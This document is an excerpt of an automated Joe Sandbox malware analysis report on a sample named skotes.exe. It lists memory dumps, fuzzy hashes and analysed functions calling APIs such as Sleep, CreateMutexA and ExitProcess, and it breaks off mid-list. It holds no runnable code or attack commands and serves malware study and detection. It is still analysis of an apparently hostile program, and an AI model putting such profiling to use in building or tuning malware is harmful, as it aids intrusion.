Associated: 00000002.00000002.1558612613.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558654105.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558763579.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558790189.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558827077.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558863954.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558898662.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558931308.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 68df3238d5e5f106a33b4c0dd9f963d49e2a52c4ebe8b90319be213602bf49f6
Instruction ID: b533e5a1bfee4eef9659c9242b6ba3ad93401655092600a2141df9cdc29fedcd
Opcode Fuzzy Hash: 68df3238d5e5f106a33b4c0dd9f963d49e2a52c4ebe8b90319be213602bf49f6
Instruction Fuzzy Hash: 94A1E171A016069FDB20DF74CA45B9AB7E8FF14358F14A12EE815E7341EB32DA06CB91

Function 00EDBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00EDBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00EDBBE4
_xtime_get.LIBCPMT ref: 00EDBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00EDBC13

Memory Dump Source

Source File: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000002.00000002.1557340900.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557363154.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557449810.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557472972.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557505221.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557699369.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557734376.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557844509.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557872544.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557926711.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557954679.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557986242.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558016827.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558048638.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558076899.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558109535.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558141973.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558173028.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558196095.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558232569.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558254872.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558285318.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558316630.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558350839.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558385633.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558417031.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558445952.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558476544.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558548431.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558579441.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558612613.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558654105.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558763579.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558790189.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558827077.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558863954.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558898662.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558931308.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: a2a1b3c7ff58c76e6d766d332b9c2a74cc2ff64876315e13e9b940b132a59bd9
Instruction ID: 3bb4dc9094f4af0c1ee2d3f40bc1e5a0e46e1a28f21fd4570aaa32a83811b47c
Opcode Fuzzy Hash: a2a1b3c7ff58c76e6d766d332b9c2a74cc2ff64876315e13e9b940b132a59bd9
Instruction Fuzzy Hash: A1210A71A0011AAFDF00EFA4D981AFEB7B9EF48754F615026F901B7361DB709D429BA0

Analysis Process: skotes.exePID: 6260, Parent PID: 4788COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1868
Total number of Limit Nodes:	15

Executed Functions

Function 00EF652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00EF652A,?,?,?,?,?,00EF7661), ref: 00EF6567

Memory Dump Source

Source File: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000003.00000002.1557868646.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1557924256.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558029196.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558051190.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558084880.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558257213.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558288094.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558398681.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558429132.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558462820.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558544355.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558580690.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558613616.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558647967.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558688090.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558720182.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558760059.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558807107.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558844700.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558879084.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558911602.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558934892.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558964426.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558994362.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559028749.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559061709.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559088357.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559117552.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559141067.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559175259.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559204790.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559252592.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559434694.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559471315.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559505812.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559548505.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559587577.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559715315.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 5a4bf567be30357bc139235f153a4e5ecc3cb81ea17b5ea54f23258e76716b8e
Instruction ID: b070736bb5f0e72fc1e9e427ff546549d4de4ea6eba5f4ef4ba2142351793c0b
Opcode Fuzzy Hash: 5a4bf567be30357bc139235f153a4e5ecc3cb81ea17b5ea54f23258e76716b8e
Instruction Fuzzy Hash: 1DE0EC3014114CAFCE267B58C859D6D3B69EF9175DF146C24FA186A222CB25ED81C691

Function 00EC9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000003.00000002.1557868646.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1557924256.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558029196.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558051190.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558084880.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558257213.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558288094.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558398681.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558429132.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558462820.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558544355.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558580690.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558613616.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558647967.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558688090.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558720182.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558760059.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558807107.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558844700.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558879084.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558911602.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558934892.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558964426.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558994362.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559028749.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559061709.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559088357.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559117552.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559141067.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559175259.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559204790.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559252592.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559434694.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559471315.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559505812.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559548505.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559587577.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559715315.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 21f3bbd129eebe4327be6e78bb8b1172b43122ce0a5aed42d328e5f1b6ad02d6
Instruction ID: e543ff049ebf44ee3b97d49aea0875dcf64c526f37fd4ca2e1c86e1a2e193039
Opcode Fuzzy Hash: 21f3bbd129eebe4327be6e78bb8b1172b43122ce0a5aed42d328e5f1b6ad02d6
Instruction Fuzzy Hash: 1B312A717042089BEB18DF78EE89F9DB7A2EBC1318F24521DE014B73D6C77699828751

Function 00EC9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000003.00000002.1557868646.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1557924256.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558029196.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558051190.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558084880.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558257213.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558288094.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558398681.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558429132.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558462820.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558544355.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558580690.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558613616.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558647967.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558688090.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558720182.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558760059.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558807107.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558844700.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558879084.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558911602.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558934892.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558964426.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558994362.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559028749.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559061709.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559088357.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559117552.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559141067.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559175259.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559204790.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559252592.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559434694.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559471315.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559505812.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559548505.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559587577.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559715315.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 085393d851c5bdf52185d1fe5c5e50e73d4283c993d771998ecc4168194849b3
Instruction ID: 6c09a1c971d8c6f1307153df9e7ce1372b0952385317d31626431cca78adb062
Opcode Fuzzy Hash: 085393d851c5bdf52185d1fe5c5e50e73d4283c993d771998ecc4168194849b3
Instruction Fuzzy Hash: 5C314A717041488BEB189F78DE89BACB7A2EBC5318F24562DE014F73D5C73799828752

Function 00ECA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000003.00000002.1557868646.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1557924256.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558029196.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558051190.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558084880.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558257213.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558288094.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558398681.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558429132.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558462820.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558544355.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558580690.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558613616.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558647967.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558688090.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558720182.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558760059.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558807107.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558844700.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558879084.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558911602.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558934892.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558964426.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558994362.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559028749.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559061709.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559088357.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559117552.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559141067.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559175259.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559204790.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559252592.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559434694.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559471315.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559505812.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559548505.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559587577.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559715315.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 00cf5e0d1cc22efb5b61f1b3fd6b377d950cf66445eabb592eafab821e47e22f
Instruction ID: d4d9ec0e1b87a09714dd5f5d10132b98553acf7246328700c411cf35fd0f3584
Opcode Fuzzy Hash: 00cf5e0d1cc22efb5b61f1b3fd6b377d950cf66445eabb592eafab821e47e22f
Instruction Fuzzy Hash: 933127717041089BEB189F78DE89B6DB772DBC1318F28522DE014B73D5C77799828662

Function 00ECA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000003.00000002.1557868646.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1557924256.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558029196.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558051190.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558084880.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558257213.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558288094.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
